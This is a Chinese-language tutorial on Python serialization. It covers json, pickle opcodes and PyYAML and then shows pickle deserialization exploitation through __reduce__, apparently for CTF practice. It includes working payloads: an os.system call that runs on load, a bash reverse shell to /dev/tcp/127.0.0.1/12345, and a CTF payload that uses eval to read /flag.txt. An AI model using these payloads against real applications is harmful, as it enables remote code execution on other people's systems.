我们把变量从内存中变成可存储或传输的过程称之为序列化。
序列化之后,就可以把序列化后的内容写入磁盘,或者通过网络传输到别的机器上。
反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化。

反序列化类型

json

json可以用于(不同平台和多语言)字符串和python数据类型进行转换

json有如下四种操作方法:
json.dumps()是将字典类型转化成字符串类型。
json.loads()将字符串类型转化成字典类型
json.dump()用于将dict类型的数据转成str,并写入到json文件中
json.load()用于从json文件中读取数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import json
data1={'a':1,'b':2,'c':3}
dus=json.dumps(data1)#将字典类型转化成字符串类型
print(dus,type(dus))
los=json.loads(dus)
print(los,type(los))#将字符串类型转化成字典类型

data2={'a':'4','b':'5','c':'6'}
with open('input.txt','w') as f: #用于将dict类型的数据转成str,并写入到json文件中
json.dump(data2,f)
with open("input.txt",'r') as f1:#用于从json文件中读取数据。
print(json.load(f1))


output:
{"a": 1, "b": 2, "c": 3} <class 'str'>
{'a': 1, 'b': 2, 'c': 3} <class 'dict'>
{'a': '4', 'b': '5', 'c': '6'}

pickle/cPickle

pickle可以用于python特有的类型和python的数据类型间进行转换(所有python数据类型)

Python提供两个模块来实现序列化:cPickle和pickle。这两个模块功能是一样的,区别在于cPickle是C语言写的,速度快,pickle是纯Python写的,速度慢。

python3中已经没有cPickle模块

有如下四种操作方法:
dump是将对象序列化并保存到文件中
dumps是将对象序列化
load将序列化字符串从文件读取并反序列化
loads将序列化字符串反序列化

简介

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。

PVM 由三部分组成:

  1. 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
  2. stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  3. memo: 由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。

指令集

本文重点说明 0 号协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

生成pickle

示例

1
2
3
import pickle
s = "abcd"
print(pickle.dumps(s))

python2运行结果

1
2
3
S'abcd'
p0
.

python3运行结果

1
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

是不是很不一样,这是因为python2和python3实现的pickle协议版本不一样,python3实现的版本是第三版,其序列化后的bytes序列第二个字符即\x03就表示它的pickle版本为第三版。各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的字符串可以放在python3里正常反序列化,但python3序列化输出的字符串却不能让python2反序列化.

详细解释一下上面py3输出的pickle流

1
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

第一个字符\x80是一个操作码,pickle.py文件中的注释说明它的含义是用来声明pickle版本,后面跟着的\x03就代表了版本3;随后的X表示后面的四个字节代表了一个数字(小端序),即\x04\x00\x00\x00,值为4,表示下面跟着的utf8编码的字符串的长度,即后面跟着的abcd;再往后是q,这个没有查到详细的说明,看注释上的字面意思是后面即\x00是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00删掉,这并不影响反序列化,最后的.代表结束,这是每个pickle流末尾都会有的操作符。
详情可看
python反序列化简介与利用

__reduce__

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。

构造的关键就是__reduce__函数,这个魔术方法的作用根据上面的文档简单总结如下:

  1. 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return ‘a’,那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。
  2. 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后return (eval,(“os.system(‘ls’)”,)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,(‘ls’,))

例子:

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os
class A(object):
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)

在linux中运行

1
b'\x80\x03cposix\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'

来细看一下这个pickle流,在声明版本后使用c操作符导入了posix模块中的system函数,posix模块是os模块在linux上的具体实现,随后是q\x00,标识system函数在memo区的索引,X\x06\x00\x00\x00标识后面whoami这个字符串的长度,q\x01标识whoami这个字符串在memo区的索引,\x85建立1个元素的元组,这个元素当然就是前面的whoami这个字符串,q\x02标识了这个元组在memo区的索引,R操作符标识运行栈顶的函数,就是前面的system,并把包含whoami的元组当做参数传递给它,后面的q\x03标识了运行的结果在memo区的索引?我不确定,但这并不重要,我们执行任意命令的目的已经达到了,最后是.结束符
在window中运行

1
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'

涉及到调用操作系统命令的库的话,不同的平台上序列化出来的pickle流是不一样的

反弹shell

1
2
3
4
5
6
7
8
9
10
import os
import pickle
class test(object):
def __reduce__(self):
code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"'
return (os.system,(code,))
a=test()
c=pickle.dumps(a)
print(c)
pickle.loads(c)

PyYAML

YAML是“YAML不是一种标记语言”的外语缩写;但为了强调这种语言以数据做为中心,而不是以置标语言为重点,而用返璞词重新命名。它是一种直观的能够被电脑识别的数据序列化格式,是一个可读性高并且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。

PyYAML是Python中YAML语言的编辑器和解释器。

两个函数:
yaml.dump():将一个Python对象序列化生成为yaml文档
yaml.load():将一个yaml文档反序列化为一个Python对

例题

CISCN2019

环境:
https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web2]ikun
解题详情可看:https://www.zjun.info/2019/ikun.html

第19行处直接接收become经url解码与其反序列化的内容,存在反序列化漏洞,构造payload读取flag.txt文件:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

result:

1
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

SUCTF 2019 Guess_game

环境:https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game

参考文章:

PYTHON
Python反序列化漏洞的花式利用
利用python反序列化覆盖秘钥——watevrCTF-2019:Pickle Store的第二种解法
记CTF比赛中发现的Python反序列化漏洞
Python pickle 反序列化实例分析
Python PyYAML反序列化漏洞